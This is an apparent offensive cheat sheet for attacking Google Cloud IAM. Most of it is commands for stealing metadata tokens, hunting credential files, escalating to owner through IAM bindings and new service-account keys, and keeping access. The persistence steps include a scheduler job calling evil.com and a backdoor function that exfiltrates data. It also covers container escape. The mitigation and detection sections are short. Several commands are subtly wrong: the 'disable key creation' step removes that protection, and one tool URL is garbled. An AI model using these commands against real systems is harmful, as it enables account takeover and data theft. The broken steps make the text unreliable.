βοΈ GCP IAM Attack Techniques
π§ Description
Google Cloud Platform (GCP) Identity and Access Management (IAM) attacks target the authentication and authorization mechanisms to gain unauthorized access, escalate privileges, and maintain persistence in GCP environments.
- Service Account Abuse: Powerful non-human identities
- Metadata Endpoints: Token extraction from VMs
- Project-Level Permissions: Cross-project access
- Built-in Roles: Often overly permissive
- Audit Logging Gaps: Some actions leave no trace
π GCP Enumeration
GCloud CLI Setup:
# Install gcloud curl https://sdk.cloud.google.com | bash gcloud init # Authenticate gcloud auth login gcloud auth application-default login # Show current project gcloud config get-value project gcloud projects list
IAM Enumeration:
# Get current identity gcloud auth list gcloud organizations list # List all IAM policies for project gcloud projects get-iam-policy PROJECT_ID # List service accounts gcloud iam service-accounts list --project=PROJECT_ID # List bindings gcloud projects get-iam-policy PROJECT_ID --format=json
Resource Enumeration:
# List compute instances gcloud compute instances list # List storage buckets gsutil ls # List BigQuery datasets gcloud bigquery datasets list # List Cloud SQL instances gcloud sql instances list # List container clusters gcloud container clusters list
π‘ GCP Metadata Exploitation
Access Metadata Service:
# Get access token from metadata
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=api"
# Get service account email
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
# Get token for specific scope
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
Service Account Key Extraction:
# If you have access to service account JSON key file # Check for keys in common locations find / -name "*.json" 2>/dev/null | xargs grep -l "type\": \"service_account" # Look for gcloud credentials cat ~/.config/gcloud/*.json 2>/dev/null # Check environment variables env | grep GOOGLE
Impersonation via Metadata:
# If you can call metadata with audience parameter
# You get a token for that audience
# Get token for cloud console
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://console.cloud.google.com"
# Use token
gcloud auth activate-service-account --key-file=<(curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token")
π Privilege Escalation
Technique 1: iam.serviceAccounts.actAs:
# If you have iam.serviceAccounts.actAs on a service account
# You can impersonate that service account
gcloud iam service-accounts add-iam-policy-binding \
--member="user:attacker@company.com" \
--role="roles/iam.serviceAccountUser" \
--service-account=target-sa@project.iam.gserviceaccount.com
# Then impersonate
gcloud auth activate-service-account target-sa@project.iam.gserviceaccount.com --key-file=key.json
Technique 2: Create Service Account Key:
# If you have iam.serviceAccounts.createKey
# Create a new key for any service account
gcloud iam service-accounts keys create \
--iam-account=target-sa@project.iam.gserviceaccount.com \
key.json
# Use the key
gcloud auth activate-service-account --key-file=key.json
Technique 3: Set IAM Policy:
# If you have setIamPolicy permission
gcloud projects set-iam-policy PROJECT_ID policy.json
# policy.json
{
"bindings": [{
"role": "roles/owner",
"members": ["user:attacker@company.com"]
}]
}
Technique 4: Create Admin Service Account:
# If you have iam.serviceAccounts.create
# Create SA with owner role
gcloud iam service-accounts create evil-sa \
--display-name "Evil SA"
gcloud projects add-iam-policy-binding PROJECT_ID \
--member="serviceAccount:evil-sa@PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/owner"
# Create key for persistence
gcloud iam service-accounts keys create key.json \
--iam-account=evil-sa@PROJECT_ID.iam.gserviceaccount.com
Technique 5: Service Account Key Creation via Project:
# Check for roles that allow key creation
# roles/iam.serviceAccountKeyCreator
# Create key for existing high-privilege SA
gcloud iam service-accounts keys create backdoor.json \
--iam-account=compute-engine-system@project.iam.gserviceaccount.com
π― Persistence Mechanisms
1. Service Account Keys:
# Create multiple keys for different SAs
gcloud iam service-accounts keys create sa1.json \
--iam-account=sa1@project.iam.gserviceaccount.com
gcloud iam service-accounts keys create sa2.json \
--iam-account=sa2@project.iam.gserviceaccount.com
# List existing keys to see what's available
gcloud iam service-accounts keys list \
--iam-account=target-sa@project.iam.gserviceaccount.com
2. Organization-Level IAM:
# If you have org-level permissions
gcloud organizations add-iam-policy-binding ORGANIZATION_ID \
--member="user:attacker@company.com" \
--role="roles/owner"
# Or on folder
gcloud folders add-iam-policy-binding FOLDER_ID \
--member="user:attacker@company.com" \
--role="roles/owner"
3. Cloud Scheduler for Recurring Access:
# Create a Cloud Scheduler job
gcloud scheduler jobs create http evil-job \
--schedule="0 * * * *" \
--uri="https://evil.com/callback" \
--oidc-service-account-email=evil-sa@project.iam.gserviceaccount.com
# Jobs trigger even if you don't access cloud
4. Cloud Functions Backdoor:
# Create function with trigger URL
gcloud functions deploy backdoor \
--runtime python310 \
--trigger-http \
--service-account=evil-sa@project.iam.gserviceaccount.com \
--allow-unauthenticated
# Function code reads from storage and exfils
π Lateral Movement
Project Hopping:
# List projects you have access to gcloud projects list --format="table(projectId,name)" # Try to access different projects gcloud compute instances list --project=target-project # Check for shared VPC access gcloud compute networks list --project=target-project # If compute admin, create instance in target project gcloud compute instances create evil-vm --project=target-project
Container Escape:
# If you have container.clusterViewer # Access Kubernetes cluster gcloud container clusters get-credentials cluster-name --region us-central1 # If you have container.developer kubectl exec -it pod -- /bin/sh # Escape to underlying node kubectl get pods -o wide kubectl describe node node-name | grep "ProviderID" # Mount host filesystem kubectl run nsenter --image=busybox --rm -it -- sh mount /dev/sda1 /tmp/host
Data Access via Storage:
π₯ Impact Analysis
- Cross-Project Access: Access all organization projects
- Data Breach: Read all Cloud Storage, BigQuery, Cloud SQL
- Cryptojacking: Spin up GPU instances for mining
- Supply Chain: Modify Cloud Build, Container Registry
- Persistence: Service accounts, keys, Cloud Functions
π‘οΈ Mitigation
- Disable SA Key Creation: Use Workload Identity instead
- Principle of Least Privilege: Use custom roles, not built-in
- Audit IAM Changes: Enable Cloud Audit Logs
- Restrict Org Policies: Use org policies to limit admin actions
- Enable VPC SC: Service perimeter controls
- Regular Access Reviews: Remove unused permissions
Disable SA Key Creation via Org Policy:
# Disable service account key creation
gcloud resource-manager org-policies delete constraints/iam.disableServiceAccountKeyCreation --project=PROJECT_ID
# Use Workload Identity Federation instead
gcloud iam workload-identity-pools create pool-name --location=global
gcloud iam workload-identity-pools providers create gke-provider \
--workload-identity-pool=pool-name \
--attribute-mapping="google.subject=assertion.sub"
π Detection
Cloud Audit Logs:
# Detect key creation
gcloud logging read 'resource.type="service_account" AND \
protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"' \
--project=PROJECT_ID
# Detect IAM changes
gcloud logging read 'resource.type="project" AND \
protoPayload.methodName="SetIamPolicy"' --project=PROJECT_ID
# Detect service account impersonation
gcloud logging read 'resource.type="service_account" AND \
protoPayload.methodName="GenerateAccessToken"' --project=PROJECT_ID
Log Sink to SIEM:
# Create log sink to Cloud Storage or BigQuery
gcloud logging sinks create detection-sink \
storage.googleapis.com/detection-bucket \
--log-filter='resource.type="service_account"'
# Or to Pub/Sub for SIEM integration
gcloud logging sinks create siem-sink \
pubsub.googleapis.com/projects/PROJECT/topics/iam-alerts \
--log-filter='protoPayload.methodName="SetIamPolicy"'
π οΈ Tools
- Ghostbuster: Find overprivileged GCP service accounts
- GCP Scanner: Enumerate GCP resources
- cartography: Map GCP relationships
- enumerate-gcp: Fast GCP enumeration script
enumerate-gcp:
git clone https://github.com/screenδΈθ‘/enumerate-gcp cd enumerate-gcp python3 enumerate-gcp.py --project PROJECT_ID # Check for privilege escalation python3 enumerate-gcp.py --project PROJECT_ID --service-account email
Privilege Escalation Check:
# Check for iam.serviceAccounts.actAs gcloud projects get-iam-policy PROJECT_ID | grep actAs # Check for setIamPolicy gcloud projects get-iam-policy PROJECT_ID | grep SetIamPolicy # Check for iam.serviceAccounts.createKey gcloud iam service-accounts list --project=PROJECT_ID